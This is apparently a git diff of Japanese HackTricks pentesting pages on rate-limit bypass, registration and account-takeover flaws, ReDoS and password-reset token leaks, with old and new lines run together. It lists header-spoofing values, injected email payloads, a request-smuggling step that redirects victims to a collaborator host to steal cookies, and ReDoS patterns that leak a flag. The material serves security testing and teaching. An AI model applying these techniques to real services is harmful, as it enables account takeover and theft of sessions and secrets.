* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォロー**してください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
## レート制限回避テクニック ## レート制限回避テクニック
### 類似エンドポイントの調査 ### 類似エンドポイントの調査
対象のエンドポイントのバリエーションに対してブルートフォース攻撃を試みるべきです。たとえば、`/api/v3/sign-up`のようなターゲットエンドポイントの変種や`/Sing-up`、`/SignUp`、`/singup`、`/api/v1/sign-up`、`/api/sign-up`などの代替案を含めて攻撃を行います `/api/v3/sign-up`など、ターゲットとなるエンドポイントのバリエーションに対してブルートフォース攻撃を試みるべきです。`/Sing-up`、`/SignUp`、`/singup`、`/api/v1/sign-up`、`/api/sign-up`などの代替案も含めて
### コードやパラメータに空白文字を組み込む ### コードやパラメータに空白文字を組み込む
コードやパラメータに`%00`、`%0d%0a`、`%0d`、`%0a`、`%09`、`%0C`、`%20`などの空白バイトを挿入することは有用な戦略となります。たとえば、パラメータを`code=1234%0a`に調整することで、入力の変化を通じて試行を拡張することができます。メールアドレスに改行文字を追加することで試行の制限を回避することができます。 コードやパラメータに`%00`、`%0d%0a`、`%0d`、`%0a`、`%09`、`%0C`、`%20`などの空白バイトを挿入することは有用な戦略となります。たとえば、パラメータを`code=1234%0a`に調整することで、入力の変化を通じて試行を拡張することが可能となり、試行制限を回避するために電子メールアドレスに改行文字を追加するなどの方法が取れます。
### ヘッダーを介したIPの出所の操作 ### ヘッダーを介したIPオリジンの操作
知覚されるIPの出所を変更するためにヘッダーを変更することは、IPベースのレート制限を回避するのに役立ちます。`X-Originating-IP`、`X-Forwarded-For`、`X-Remote-IP`、`X-Remote-Addr`、`X-Client-IP`、`X-Host`、`X-Forwared-Host`などのヘッダーを調整し、異なるIPからのリクエストをシミュレートすることができます。 知覚されるIPオリジンを変更するためにヘッダーを変更することは、IPベースのレート制限を回避するのに役立ちます。`X-Originating-IP`、`X-Forwarded-For`、`X-Remote-IP`、`X-Remote-Addr`、`X-Client-IP`、`X-Host`、`X-Forwared-Host`などのヘッダーを調整し、異なるIPからのリクエストをシミュレートするために`X-Forwarded-For`の複数のインスタンスを使用することができます。
```bash ```bash
X-Originating-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1 X-Forwarded-For: 127.0.0.1
@ -52,11 +52,11 @@ X-Forwarded-For: 127.0.0.1
一部のAPIゲートウェイは、エンドポイントとパラメータの組み合わせに基づいてレート制限を適用するように構成されています。パラメータ値を変化させたり、リクエストに無関係なパラメータを追加することで、ゲートウェイのレート制限ロジックを回避し、各リクエストを一意に見せることが可能です。 一部のAPIゲートウェイは、エンドポイントとパラメータの組み合わせに基づいてレート制限を適用するように構成されています。パラメータ値を変化させたり、リクエストに無関係なパラメータを追加することで、ゲートウェイのレート制限ロジックを回避し、各リクエストを一意に見せることが可能です。
例:`/resetpwd?someparam=1`。 例:`/resetpwd?someparam=1`。
### 各試行前にアカウントにログインする ### 各試行前にアカウントにログイン
各試行前または一連の試行ごとにアカウントにログインすることで、レート制限カウンターをリセットすることができます。これは特にログイン機能をテストする際に役立ちます。Burp SuiteなどのツールでPitchfork攻撃を利用し、数回の試行ごとに資格情報を切り替え、リダイレクトをマークすることで、レート制限カウンターを効果的にリスタートできます。 各試行前または一連の試行ごとにアカウントにログインすることで、レート制限カウンターをリセットすることができます。特にログイン機能をテストする際に役立ちます。Burp SuiteなどのツールでPitchfork攻撃を利用し、数回の試行ごとに資格情報を切り替え、リダイレクトのフォローがマークされていることを確認することで、レート制限カウンターを効果的にリスタートできます。
### プロキシネットワークの活用 ### プロキシネットワークの活用
複数のIPアドレスにリクエストを分散るためにプロキシネットワークを展開することで、IPベースのレート制限を効果的にバイパスすることができます。さまざまなプロキシを介してトラフィックをルーティングすることで、各リクエストが異なるソースから発信されたものとして見え、レート制限の効果を薄めることができます。 複数のIPアドレスにリクエストを分散させるためにプロキシネットワークを展開することで、IPベースのレート制限を効果的にバイパスすることができます。さまざまなプロキシを介してトラフィックをルーティングすることで、各リクエストが異なるソースから発信されたものとして見え、レート制限の効果を薄めることができます。
### 攻撃を異なるアカウントやセッションに分割する ### 攻撃を異なるアカウントやセッションに分割
対象システムがアカウントごとまたはセッションごとにレート制限を適用している場合、攻撃やテストを複数のアカウントやセッションに分散させることで検出を回避できます。このアプローチでは、複数のアイデンティティやセッショントークンを管理する必要がありますが、許容可能な制限内に留まるために負荷を分散するのに効果的です。 対象システムがアカウントごとまたはセッションごとにレート制限を適用している場合、攻撃やテストを複数のアカウントやセッションに分散させることで検出を回避するのに役立ちます。このアプローチでは、複数のアイデンティティやセッショントークンを管理する必要がありますが、許容可能な制限内に留まるために負荷を分散するのに効果的です。

View file

@ -8,9 +8,9 @@ HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つけ - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** - **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
@ -24,7 +24,7 @@ HackTricksをサポートする他の方法
- \+1@ - \+1@
- メールにいくつかのドットを追加 - メールにいくつかのドットを追加
- メール名に特殊文字(%00、%09、%20 - メール名に特殊文字(%00、%09、%20
- メールの後に黒い文字を入れる`test@test.com a` - メールの後に黒い文字を追加`test@test.com a`
- victim@gmail.com@attacker.com - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com - victim@attacker.com@gmail.com
@ -34,20 +34,20 @@ HackTricksをサポートする他の方法
### パスワードポリシー ### パスワードポリシー
ユーザーを作成するときにパスワードポリシーを確認します(弱いパスワードを使用できるかどうかを確認します)。\ ユーザーを作成するにパスワードポリシーを確認します(弱いパスワードを使用できるかどうかを確認します)。\
その場合、資格情報をブルートフォースで試すことができます。 その場合、資格情報をブルートフォースで試すことができます。
### SQLインジェクション ### SQLインジェクション
[**このページをチェック**](sql-injection/#insert-statement)して、登録フォームで**SQLインジェクション**を使用してアカウントの乗っ取りを試みたり情報を抽出したりする方法を学びます。 [**このページをチェック**](sql-injection/#insert-statement)して、登録フォームで**SQLインジェクション**を使用してアカウントの乗っ取りを試みたり情報を抽出したりする方法を学びます。
### Oauth乗っ取り ### Oauth乗っ取り
{% content-ref url="oauth-to-account-takeover.md" %} {% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md) [oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %} {% endcontent-ref %}
### SAML脆弱性 ### SAML脆弱性
{% content-ref url="saml-attacks/" %} {% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/) [saml-attacks](saml-attacks/)
@ -55,7 +55,7 @@ HackTricksをサポートする他の方法
### メールアドレスの変更 ### メールアドレスの変更
登録後、メールアドレスを変更し、この変更が正しく検証されるか、または任意のメールアドレスに変更できるかを確認します。 登録後、メールアドレスを変更し、この変更が正しく検証されるか、または任意のメールアドレスに変更できるかを確認します。
### その他のチェック ### その他のチェック
@ -126,10 +126,10 @@ email=victim@mail.com|hacker@mail.com
### パスワードリセットトークンの漏洩 <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a> ### パスワードリセットトークンの漏洩 <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. 特定のメールtest@mail.comを使用してAPI/UIを介してパスワードリセットリクエストをトリガーします。 1. 特定のメールtest@mail.comを使用してAPI/UIを介してパスワードリセットリクエストをトリガーします。
2. サーバーの応答を検査し、`resetToken`を確認します。 2. サーバーの応答を検査し、`resetToken` を確認します。
3. 次に、`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`のようなURLでトークンを使用します。 3. 次に、次のようなURLでトークンを使用します`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### ユーザー名の衝突を利用したパスワードリセット <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a> ### ユーザー名の衝突によるパスワードリセット <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. 犠牲者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白が挿入されています。例:`"admin "` 1. 犠牲者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白が挿入されています。例:`"admin "`
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。 2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
@ -142,14 +142,14 @@ email=victim@mail.com|hacker@mail.com
### クロスサイトスクリプティングによるアカウント乗っ取り <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a> ### クロスサイトスクリプティングによるアカウント乗っ取り <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. アプリケーション内またはクッキーが親ドメインにスコープされている場合のサブドメイン内のXSSを見つけます`*.domain.com` 1. アプリケーション内またはクッキーが親ドメインにスコープされている場合のサブドメイン内のXSSを見つけます`*.domain.com`
2. 現在の**セッションクッキー**を漏洩させます。 2. 現在の **セッションクッキー** を漏洩させます。
3. クッキーを使用してユーザーとして認証します。 3. クッキーを使用してユーザーとして認証します。
### HTTPリクエストスマグリングによるアカウント乗っ取り <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a> ### HTTPリクエストスマグリングによるアカウント乗っ取り <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1. **smuggler**を使用してHTTPリクエストスマグリングのタイプを検出しますCL、TE、CL.TE\ 1. **smuggler** を使用してHTTPリクエストスマグリングのタイプを検出しますCL、TE、CL.TE\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2. `POST / HTTP/1.1`を次のデータで上書きするリクエストを作成します:\ 2. `POST / HTTP/1.1` を次のデータで上書きするリクエストを作成します:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 目的は、被害者をburpcollabにリダイレクトしてクッキーを盗むことです。\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` 目的は、被害者をburpcollabにリダイレクトしてクッキーを盗むことです。\
3. 最終リクエストは次のようになります。 3. 最終リクエストは次のようになります。
``` ```
@ -172,7 +172,7 @@ X: X
JSON Web Tokenはユーザーの認証に使用される可能性があります。 JSON Web Tokenはユーザーの認証に使用される可能性があります。
* 別のユーザーID/メールでJWTを編集する * 別のユーザーID / メールアドレスでJWTを編集する
* 弱いJWT署名をチェックする * 弱いJWT署名をチェックする
{% content-ref url="hacking-jwt-json-web-tokens.md" %} {% content-ref url="hacking-jwt-json-web-tokens.md" %}
@ -185,14 +185,14 @@ JSON Web Tokenはユーザーの認証に使用される可能性があります
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -4,29 +4,27 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローする
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **HackTricks** と **HackTricks Cloud** のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
# 正規表現によるサービス拒否攻撃ReDoS # 正規表現によるサービス拒否攻撃ReDoS
**正規表現によるサービス拒否攻撃ReDoS** は、正規表現(テキスト内のパターンを検索および一致させる方法)の動作方法の弱点を悪用することで発生します。 時々、正規表現が使用されると、特に処理するテキストのサイズが大きくなると非常に遅くなることがあります。 この遅延は、テキストサイズがわずかに増加するだけで非常に速く成長する可能性があります。 攻撃者は、この問題を利用して、正規表現を使用するプログラムが長時間正常に機能しなくなるようにすることができます。 **正規表現によるサービス拒否攻撃ReDoS** は、正規表現(テキスト内のパターンを検索および一致させる方法)の動作方法の弱点を悪用することで発生します。 時々、正規表現が使用されると、特に処理するテキストのサイズが大きくなると、非常に遅くなることがあります。 この遅延は、テキストサイズがわずかに増加するだけで非常に速く成長することがあります。 攻撃者はこの問題を利用して、正規表現を使用するプログラムを長時間正常に動作しないようにすることができます。
## 問題のある正規表現ナイーブアルゴリズム ## 問題のある正規表現ナイーブアルゴリズム
**詳細は[https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)を確認してください** **詳細は[https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)を確認してください**
## 悪意のある正規表現 <a href="#evil-regexes" id="evil-regexes"></a> ## 悪意のある正規表現 <a href="#evil-regexes" id="evil-regexes"></a>
悪意のある正規表現パターンは、**DoSを引き起こすように作成された入力でスタックする**ものです。 悪意のある正規表現パターンには、通常、繰り返しと重複または繰り返しと重複が含まれます。 悪意のあるパターンの例には、次のものがあります: 悪意のある正規表現パターンは、**DoSを引き起こすように作成された入力でスタックする**ものです。 悪意のある正規表現パターンには、通常、繰り返しを含むグループ化や繰り返し、または繰り返しグループ内でのオーバーラップが含まれます。 悪意のあるパターンの例には、次のものがあります:
* (a+)+ * (a+)+
* ([a-zA-Z]+)* * ([a-zA-Z]+)*
@ -34,22 +32,22 @@ HackTricksをサポートする他の方法
* (a|a?)+ * (a|a?)+
* (.*a){x}ただし、x > 10 * (.*a){x}ただし、x > 10
これらすべては、入力 `aaaaaaaaaaaaaaaaaaaaaaaa!` に対して脆弱です。 これらすべて入力 `aaaaaaaaaaaaaaaaaaaaaaaa!` に対して脆弱です。
## ReDoSペイロード ## ReDoS ペイロード
### ReDoSを介した文字列の外部流出 ### ReDoS を介した文字列の外部流出
CTFまたはバグバウンティでは、おそらく**機密情報(フラグ)が一致する正規表現を制御**できるかもしれません。 その場合、**正規表現が一致した場合にページを凍結(タイムアウトまたは処理時間が長くなる)**すると便利です。 これにより、文字列を**1文字ずつ外部に流出**できます: CTFまたはバグバウンティでは、おそらく **機密情報(フラグ)が一致する正規表現を制御できる**場合があります。 その場合、**正規表現が一致した場合にページをフリーズさせる(タイムアウトまたは処理時間を延長する)**と便利かもしれません。 これにより、文字列を **1文字ずつ外部に流出** できます:
* [**この投稿**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)で、このReDoSルールを見つけることができます`^(?=<flag>)((.*)*)*salt$` * [**この投稿**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) で、このReDoSルールを見つけることができます `^(?=<flag>)((.*)*)*salt$`
* 例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$` * 例: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* [**この解説**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)では、次のものが見つかります:`<flag>(((((((.*)*)*)*)*)*)*)!` * [**この解説**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) では、次のものが見つかります:`<flag>(((((((.*)*)*)*)*)*)*)!`
* [**この解説**](https://ctftime.org/writeup/25869)では、次のものを使用しました:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$` * [**この解説**](https://ctftime.org/writeup/25869) では、次のものを使用しました: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### 入力と正規表現を制御するReDoS ### 入力と正規表現を制御する ReDoS
以下は、**入力**と**正規表現の両方を制御**する**ReDoS**の例です: 以下は、**入力**と**正規表現の両方を制御**する **ReDoS** の例です:
```javascript ```javascript
function check_time_regexp(regexp, text){ function check_time_regexp(regexp, text){
var t0 = new Date().getTime();; var t0 = new Date().getTime();;
@ -84,7 +82,7 @@ Regexp (a+)*$ took 723 milliseconds.
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit) * [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker) * [https://devina.io/redos-checker](https://devina.io/redos-checker)
# 参考文献 ## 参考文献
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) * [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) * [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) * [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
@ -92,14 +90,14 @@ Regexp (a+)*$ took 723 milliseconds.
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksスッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
</details> </details>

View file

@ -6,10 +6,11 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手 - [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
- **Discordグループ**に参加して[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取る! - **Discordグループ**に参加して(💬)[**Discord group**](https://discord.gg/hRep4RUj7f)、または[**telegram group**](https://t.me/peass)に参加して、**Twitter** 🐦でフォローしてください [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
@ -21,12 +22,12 @@ HackTricksをサポートする他の方法
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じてハッキングの世界を最新の状態に保つ リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける
**最新のアナウンス**\ **最新のお知らせ**\
最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得る 最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を入手
**Discord**に参加して、今日からトップハッカーと協力を始めましょう! **Discord**に参加して、今日からトップハッカーと協力を始めましょう! [**Discord**](https://discord.com/invite/N3FrSbmwdy)
## **リファラー経由のパスワードリセットトークン漏洩** ## **リファラー経由のパスワードリセットトークン漏洩**
* HTTPリファラーヘッダーにパスワードリセットトークンが含まれている場合、URLに漏洩する可能性があります。これは、ユーザーがパスワードリセットをリクエストした後にサードパーティのウェブサイトリンクをクリックした場合に発生する可能性があります。 * HTTPリファラーヘッダーにパスワードリセットトークンが含まれている場合、URLに漏洩する可能性があります。これは、ユーザーがパスワードリセットをリクエストした後にサードパーティのウェブサイトリンクをクリックした場合に発生する可能性があります。
@ -37,12 +38,12 @@ HackTricksをサポートする他の方法
- [パスワードリセットトークン漏洩記事](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) - [パスワードリセットトークン漏洩記事](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **パスワードリセットポイズニング** ## **パスワードリセットポイズニング**
* 攻撃者は、パスワードリセットリクエスト中にホストヘッダーを操作して、リセットリンクを悪意のあるサイトに向けることがあります。 * 攻撃者は、パスワードリセットリクエスト中にホストヘッダーを操作して、リセットリンクを悪意のあるサイトに向けることができます。
* **パッチ**: `$_SERVER['HTTP_HOST']`の代わりに`$_SERVER['SERVER_NAME']`を使用してパスワードリセットURLを構築します。 * **パッチ**: `$_SERVER['HTTP_HOST']`の代わりに`$_SERVER['SERVER_NAME']`を使用してパスワードリセットURLを構築します。
* **影響**: リセットトークンが攻撃者に漏洩してアカウント乗っ取りにつながります。 * **影響**: リセットトークンが攻撃者に漏洩してアカウント乗っ取りにつながります。
* **緩和手順**: * **緩和手順**:
- ホストヘッダーを許可されたドメインのホワイトリストと照合します。 - ホストヘッダーを許可されたドメインのホワイトリストと照合します。
- 予測不可能性を防ぐために、セキュアでサーバーサイドの方法を使用して絶対URLを生成します。 - 予測可能性を防ぐために、安全でサーバーサイドの方法を使用して絶対URLを生成します。
* **参考**: * **参考**:
- [Acunetixによるパスワードリセットポイズニングの記事](https://www.acunetix.com/blog/articles/password-reset-poisoning/) - [Acunetixによるパスワードリセットポイズニングの記事](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
@ -58,7 +59,7 @@ HackTricksをサポートする他の方法
* 攻撃者は、APIリクエスト中のメールアドレスとパスワードパラメータを変更してアカウント資格情報を変更することができます。 * 攻撃者は、APIリクエスト中のメールアドレスとパスワードパラメータを変更してアカウント資格情報を変更することができます。
* **緩和手順**: * **緩和手順**:
